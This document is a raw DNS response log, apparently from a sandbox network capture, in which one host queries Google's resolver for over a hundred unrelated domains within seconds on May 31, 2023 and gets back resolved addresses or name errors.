May 31, 2023 14:52:01.666342974 CEST	8.8.8.8	192.168.2.3	0x523b	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.666342974 CEST	8.8.8.8	192.168.2.3	0x523b	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.667171955 CEST	8.8.8.8	192.168.2.3	0x2670	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.683176041 CEST	8.8.8.8	192.168.2.3	0x20a4	No error (0)	ifesnet.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.683176041 CEST	8.8.8.8	192.168.2.3	0x20a4	No error (0)	ifesnet.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.686012983 CEST	8.8.8.8	192.168.2.3	0x7c06	No error (0)	dayvo.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.686012983 CEST	8.8.8.8	192.168.2.3	0x7c06	No error (0)	dayvo.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.709460020 CEST	8.8.8.8	192.168.2.3	0x1051	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.725107908 CEST	8.8.8.8	192.168.2.3	0xb835	No error (0)	wvs-net.de		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.725107908 CEST	8.8.8.8	192.168.2.3	0xb835	No error (0)	wvs-net.de		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.725132942 CEST	8.8.8.8	192.168.2.3	0xa204	No error (0)	semuk.com		86.105.245.69	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.802655935 CEST	8.8.8.8	192.168.2.3	0xd842	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.802655935 CEST	8.8.8.8	192.168.2.3	0xd842	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.803340912 CEST	8.8.8.8	192.168.2.3	0x7ad3	No error (0)	lyto.net		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.803340912 CEST	8.8.8.8	192.168.2.3	0x7ad3	No error (0)	lyto.net		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.808327913 CEST	8.8.8.8	192.168.2.3	0xe826	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.809731007 CEST	8.8.8.8	192.168.2.3	0xd095	No error (0)	nme.co.jp		203.0.113.0	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.834063053 CEST	8.8.8.8	192.168.2.3	0x2295	No error (0)	zugseil.com		92.42.191.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.839376926 CEST	8.8.8.8	192.168.2.3	0xa730	No error (0)	pcoyuncu.com		213.142.131.159	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.840590954 CEST	8.8.8.8	192.168.2.3	0xf7b5	No error (0)	ascc.org.au		203.210.102.34	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.842596054 CEST	8.8.8.8	192.168.2.3	0x646f	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.846884966 CEST	8.8.8.8	192.168.2.3	0xc44d	No error (0)	ossir.org		51.159.3.117	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.861521006 CEST	8.8.8.8	192.168.2.3	0x4e22	No error (0)	sledsport.ru		185.22.232.175	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.862510920 CEST	8.8.8.8	192.168.2.3	0xf9c0	No error (0)	web-york.com		219.94.129.97	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.862600088 CEST	8.8.8.8	192.168.2.3	0x6afa	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.862600088 CEST	8.8.8.8	192.168.2.3	0x6afa	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.862600088 CEST	8.8.8.8	192.168.2.3	0x6afa	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.862600088 CEST	8.8.8.8	192.168.2.3	0x6afa	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.862884045 CEST	8.8.8.8	192.168.2.3	0x9a34	No error (0)	snf.it		95.174.22.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.865792990 CEST	8.8.8.8	192.168.2.3	0xf392	No error (0)	rast.se		93.188.2.51	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.873681068 CEST	8.8.8.8	192.168.2.3	0xbcdc	No error (0)	shiner.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.873681068 CEST	8.8.8.8	192.168.2.3	0xbcdc	No error (0)	shiner.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.880433083 CEST	8.8.8.8	192.168.2.3	0x1858	No error (0)	simetar.com		172.67.146.154	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.880433083 CEST	8.8.8.8	192.168.2.3	0x1858	No error (0)	simetar.com		104.21.79.166	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.888772964 CEST	8.8.8.8	192.168.2.3	0xf699	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.899574041 CEST	8.8.8.8	192.168.2.3	0xc5d0	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.899574041 CEST	8.8.8.8	192.168.2.3	0xc5d0	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.903418064 CEST	8.8.8.8	192.168.2.3	0x7479	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.914431095 CEST	8.8.8.8	192.168.2.3	0x86b7	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.914431095 CEST	8.8.8.8	192.168.2.3	0x86b7	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.915545940 CEST	8.8.8.8	192.168.2.3	0x5a08	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.920070887 CEST	8.8.8.8	192.168.2.3	0x73c	No error (0)	johnlyon.org		141.193.213.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.922283888 CEST	8.8.8.8	192.168.2.3	0x4f3a	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.922283888 CEST	8.8.8.8	192.168.2.3	0x4f3a	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.922283888 CEST	8.8.8.8	192.168.2.3	0x4f3a	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.922283888 CEST	8.8.8.8	192.168.2.3	0x4f3a	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.929066896 CEST	8.8.8.8	192.168.2.3	0x5add	No error (0)	dog-jog.net		153.122.24.177	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.941302061 CEST	8.8.8.8	192.168.2.3	0x36c3	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.952570915 CEST	8.8.8.8	192.168.2.3	0x667f	No error (0)	zupraha.cz		77.78.104.3	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.954695940 CEST	8.8.8.8	192.168.2.3	0x6dda	No error (0)	burstner.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.956758976 CEST	8.8.8.8	192.168.2.3	0x3872	No error (0)	biosolve.com		151.101.130.159	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.968252897 CEST	8.8.8.8	192.168.2.3	0xa777	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.968341112 CEST	8.8.8.8	192.168.2.3	0x401e	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.968388081 CEST	8.8.8.8	192.168.2.3	0x747d	No error (0)	ossir.org		51.159.3.117	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.972744942 CEST	8.8.8.8	192.168.2.3	0x27be	No error (0)	siongann.com		104.21.8.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.972744942 CEST	8.8.8.8	192.168.2.3	0x27be	No error (0)	siongann.com		172.67.156.237	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.979043007 CEST	8.8.8.8	192.168.2.3	0x73b9	No error (0)	pellys.co.uk		77.72.4.226	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.980675936 CEST	8.8.8.8	192.168.2.3	0xc4e8	No error (0)	aiolos-sa.gr		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.980675936 CEST	8.8.8.8	192.168.2.3	0xc4e8	No error (0)	aiolos-sa.gr		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.983656883 CEST	8.8.8.8	192.168.2.3	0x9669	No error (0)	enguita.net		195.5.116.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.992652893 CEST	8.8.8.8	192.168.2.3	0x91eb	No error (0)	avse.hu		185.129.138.60	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.993329048 CEST	8.8.8.8	192.168.2.3	0xc5c	No error (0)	johnlyon.org		141.193.213.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.994709969 CEST	8.8.8.8	192.168.2.3	0xf29f	No error (0)	vvsteknik.dk		185.31.76.90	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.006613970 CEST	8.8.8.8	192.168.2.3	0x8677	No error (0)	floopis.com		3.64.163.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.007371902 CEST	8.8.8.8	192.168.2.3	0xae6d	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.008789062 CEST	8.8.8.8	192.168.2.3	0x7743	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.011897087 CEST	8.8.8.8	192.168.2.3	0x420e	No error (0)	mijash3.com		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.011897087 CEST	8.8.8.8	192.168.2.3	0x420e	No error (0)	mijash3.com		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.011897087 CEST	8.8.8.8	192.168.2.3	0x420e	No error (0)	mijash3.com		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.011897087 CEST	8.8.8.8	192.168.2.3	0x420e	No error (0)	mijash3.com		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.013564110 CEST	8.8.8.8	192.168.2.3	0x9e96	No error (0)	ssm.ch		93.189.66.202	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.023000956 CEST	8.8.8.8	192.168.2.3	0xab3b	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.030981064 CEST	8.8.8.8	192.168.2.3	0xed18	No error (0)	xult.org		65.52.128.33	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.033094883 CEST	8.8.8.8	192.168.2.3	0x2b35	No error (0)	tcpoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.033094883 CEST	8.8.8.8	192.168.2.3	0x2b35	No error (0)	tcpoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.033584118 CEST	8.8.8.8	192.168.2.3	0xe2f5	No error (0)	top1oil.com		104.26.1.82	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.033584118 CEST	8.8.8.8	192.168.2.3	0xe2f5	No error (0)	top1oil.com		172.67.71.55	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.033584118 CEST	8.8.8.8	192.168.2.3	0xe2f5	No error (0)	top1oil.com		104.26.0.82	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.035938025 CEST	8.8.8.8	192.168.2.3	0x41bf	No error (0)	komie.com		59.106.13.181	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.042063951 CEST	8.8.8.8	192.168.2.3	0xc396	No error (0)	onzcda.com		35.186.238.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.073522091 CEST	8.8.8.8	192.168.2.3	0x5ad0	No error (0)	fundeo.com		104.24.161.27	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.073522091 CEST	8.8.8.8	192.168.2.3	0x5ad0	No error (0)	fundeo.com		172.67.97.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.073522091 CEST	8.8.8.8	192.168.2.3	0x5ad0	No error (0)	fundeo.com		104.24.160.27	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.079790115 CEST	8.8.8.8	192.168.2.3	0xcbc2	No error (0)	infotech.pl		79.96.32.254	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.080143929 CEST	8.8.8.8	192.168.2.3	0xaed	No error (0)	mondopp.net		173.231.184.124	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.084161997 CEST	8.8.8.8	192.168.2.3	0x12b6	No error (0)	biurohera.pl		54.36.175.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.084161997 CEST	8.8.8.8	192.168.2.3	0x12b6	No error (0)	biurohera.pl		79.96.161.192	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.085357904 CEST	8.8.8.8	192.168.2.3	0xd9a4	No error (0)	siongann.com		104.21.8.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.085357904 CEST	8.8.8.8	192.168.2.3	0xd9a4	No error (0)	siongann.com		172.67.156.237	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.089565992 CEST	8.8.8.8	192.168.2.3	0x5588	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.093179941 CEST	8.8.8.8	192.168.2.3	0x6dc7	No error (0)	nblewis.com		35.169.15.168	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.093179941 CEST	8.8.8.8	192.168.2.3	0x6dc7	No error (0)	nblewis.com		35.168.185.204	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.093179941 CEST	8.8.8.8	192.168.2.3	0x6dc7	No error (0)	nblewis.com		52.0.29.214	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.101319075 CEST	8.8.8.8	192.168.2.3	0x9f87	No error (0)	burstner.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.118587017 CEST	8.8.8.8	192.168.2.3	0xec0e	No error (0)	fogra.com.pl		85.128.55.51	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.120394945 CEST	8.8.8.8	192.168.2.3	0x5b44	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.120991945 CEST	8.8.8.8	192.168.2.3	0x6de	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.125576019 CEST	8.8.8.8	192.168.2.3	0x687a	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.131072998 CEST	8.8.8.8	192.168.2.3	0xf988	No error (0)	amerifor.com		64.18.191.61	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.143682957 CEST	8.8.8.8	192.168.2.3	0xc08e	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.150198936 CEST	8.8.8.8	192.168.2.3	0xb060	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.157227993 CEST	8.8.8.8	192.168.2.3	0xe21d	No error (0)	skgm.ru		91.201.52.102	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.171372890 CEST	8.8.8.8	192.168.2.3	0xf9cd	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.174653053 CEST	8.8.8.8	192.168.2.3	0x25a4	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.183060884 CEST	8.8.8.8	192.168.2.3	0x2d71	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.183360100 CEST	8.8.8.8	192.168.2.3	0x69b6	No error (0)	yasuma.com		61.200.81.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.195245981 CEST	8.8.8.8	192.168.2.3	0xf73f	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.216037989 CEST	8.8.8.8	192.168.2.3	0x3ba1	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.226671934 CEST	8.8.8.8	192.168.2.3	0x30c1	No error (0)	bossinst.com		205.178.189.131	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.228548050 CEST	8.8.8.8	192.168.2.3	0xecdf	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.241089106 CEST	8.8.8.8	192.168.2.3	0x4472	No error (0)	sigtoa.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.241089106 CEST	8.8.8.8	192.168.2.3	0x4472	No error (0)	sigtoa.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.272860050 CEST	8.8.8.8	192.168.2.3	0x69ae	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.272860050 CEST	8.8.8.8	192.168.2.3	0x69ae	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.294162035 CEST	8.8.8.8	192.168.2.3	0xa6a5	No error (0)	arowines.com		75.2.18.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.298538923 CEST	8.8.8.8	192.168.2.3	0xfca8	No error (0)	cnti.krsn.ru		217.74.161.133	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.303870916 CEST	8.8.8.8	192.168.2.3	0xc580	No error (0)	burstner.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.303925991 CEST	8.8.8.8	192.168.2.3	0x2132	No error (0)	jabian.com		104.26.7.17	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.303925991 CEST	8.8.8.8	192.168.2.3	0x2132	No error (0)	jabian.com		172.67.71.13	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.303925991 CEST	8.8.8.8	192.168.2.3	0x2132	No error (0)	jabian.com		104.26.6.17	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.311913013 CEST	8.8.8.8	192.168.2.3	0x190f	No error (0)	ccssinc.com		172.67.185.152	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.311913013 CEST	8.8.8.8	192.168.2.3	0x190f	No error (0)	ccssinc.com		104.21.19.68	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.364589930 CEST	8.8.8.8	192.168.2.3	0x48e5	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.372456074 CEST	8.8.8.8	192.168.2.3	0xc0ee	No error (0)	pccj.net		172.67.148.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.372456074 CEST	8.8.8.8	192.168.2.3	0xc0ee	No error (0)	pccj.net		104.21.29.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.374452114 CEST	8.8.8.8	192.168.2.3	0x284a	No error (0)	shesfit.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.374452114 CEST	8.8.8.8	192.168.2.3	0x284a	No error (0)	shesfit.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.376199007 CEST	8.8.8.8	192.168.2.3	0xa652	No error (0)	pleszew.policja.gov.pl		91.229.22.126	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.388370037 CEST	8.8.8.8	192.168.2.3	0x13c7	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.393640041 CEST	8.8.8.8	192.168.2.3	0x946a	No error (0)	canasil.com		104.26.2.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.393640041 CEST	8.8.8.8	192.168.2.3	0x946a	No error (0)	canasil.com		104.26.3.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.393640041 CEST	8.8.8.8	192.168.2.3	0x946a	No error (0)	canasil.com		172.67.68.180	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.399043083 CEST	8.8.8.8	192.168.2.3	0x8fe1	No error (0)	smitko.net		31.15.12.103	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.414629936 CEST	8.8.8.8	192.168.2.3	0x3844	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.415257931 CEST	8.8.8.8	192.168.2.3	0x41ec	No error (0)	nme.co.jp		203.0.113.0	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.456513882 CEST	8.8.8.8	192.168.2.3	0x5dd0	No error (0)	wahw.com.au		54.194.190.151	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.465939045 CEST	8.8.8.8	192.168.2.3	0xe409	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.467811108 CEST	8.8.8.8	192.168.2.3	0x5c41	No error (0)	com-edit.fr		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.469868898 CEST	8.8.8.8	192.168.2.3	0xe5d7	No error (0)	aoinko.net		157.7.107.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.474718094 CEST	8.8.8.8	192.168.2.3	0x2344	No error (0)	bossinst.com		205.178.189.131	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.485013008 CEST	8.8.8.8	192.168.2.3	0x32f2	No error (0)	e-kami.net		202.172.28.89	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.503453016 CEST	8.8.8.8	192.168.2.3	0x533f	No error (0)	deckoviny.cz		88.86.118.82	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.505336046 CEST	8.8.8.8	192.168.2.3	0x8ef0	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.506321907 CEST	8.8.8.8	192.168.2.3	0x383	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.530330896 CEST	8.8.8.8	192.168.2.3	0x6e6c	No error (0)	sinwal.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.530330896 CEST	8.8.8.8	192.168.2.3	0x6e6c	No error (0)	sinwal.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.530587912 CEST	8.8.8.8	192.168.2.3	0x398f	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.578010082 CEST	8.8.8.8	192.168.2.3	0x6e32	No error (0)	unicus.jp		49.212.232.113	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.581702948 CEST	8.8.8.8	192.168.2.3	0xc589	No error (0)	kayoaiba.com		154.213.117.166	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.599662066 CEST	8.8.8.8	192.168.2.3	0xa458	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.600056887 CEST	8.8.8.8	192.168.2.3	0xa023	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.610353947 CEST	8.8.8.8	192.168.2.3	0xe239	No error (0)	tcpoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.610353947 CEST	8.8.8.8	192.168.2.3	0xe239	No error (0)	tcpoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.611222982 CEST	8.8.8.8	192.168.2.3	0xb9b0	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.628407955 CEST	8.8.8.8	192.168.2.3	0x691e	No error (0)	sledsport.ru		185.22.232.175	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.644763947 CEST	8.8.8.8	192.168.2.3	0xd60e	No error (0)	webavant.com		148.72.176.26	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.652158022 CEST	8.8.8.8	192.168.2.3	0xc28d	No error (0)	biosolve.com		151.101.130.159	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.652879953 CEST	8.8.8.8	192.168.2.3	0xb561	No error (0)	kursavto.ru		31.177.80.70	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.652879953 CEST	8.8.8.8	192.168.2.3	0xb561	No error (0)	kursavto.ru		31.177.76.70	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.659681082 CEST	8.8.8.8	192.168.2.3	0xc72	No error (0)	metaforacom.com		185.42.105.162	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.662581921 CEST	8.8.8.8	192.168.2.3	0x9416	No error (0)	adventist.ro		49.12.155.123	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.664216995 CEST	8.8.8.8	192.168.2.3	0x2670	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.665003061 CEST	8.8.8.8	192.168.2.3	0xe219	No error (0)	shteeble.com		185.106.129.180	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.694720984 CEST	8.8.8.8	192.168.2.3	0x974	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.727583885 CEST	8.8.8.8	192.168.2.3	0x6ca1	No error (0)	wnit.org		38.111.255.201	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.738692999 CEST	8.8.8.8	192.168.2.3	0xc278	No error (0)	webavant.com		148.72.176.26	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.747755051 CEST	8.8.8.8	192.168.2.3	0x8653	No error (0)	aoinko.net		157.7.107.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.754163980 CEST	8.8.8.8	192.168.2.3	0xb601	No error (0)	orlyhotel.com		172.67.156.49	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.754163980 CEST	8.8.8.8	192.168.2.3	0xb601	No error (0)	orlyhotel.com		104.21.48.207	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.774075031 CEST	8.8.8.8	192.168.2.3	0x9c4c	No error (0)	lyto.net		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.774075031 CEST	8.8.8.8	192.168.2.3	0x9c4c	No error (0)	lyto.net		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.835700035 CEST	8.8.8.8	192.168.2.3	0x8745	No error (0)	bd-style.com		103.112.69.92	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.852034092 CEST	8.8.8.8	192.168.2.3	0x512f	No error (0)	hyab.se		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.852034092 CEST	8.8.8.8	192.168.2.3	0x512f	No error (0)	hyab.se		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:02.985321999 CEST	8.8.8.8	192.168.2.3	0x47d3	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.023338079 CEST	8.8.8.8	192.168.2.3	0x2952	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.027349949 CEST	8.8.8.8	192.168.2.3	0xef75	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.036252022 CEST	8.8.8.8	192.168.2.3	0xaa	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.036252022 CEST	8.8.8.8	192.168.2.3	0xaa	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.045120001 CEST	8.8.8.8	192.168.2.3	0x1ada	No error (0)	envogen.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:03.045120001 CEST	8.8.8.8	192.168.2.3	0x1ada	No error (0)	envogen.com		188.114.96.7	A (IP address)	IN (0x0001)	false
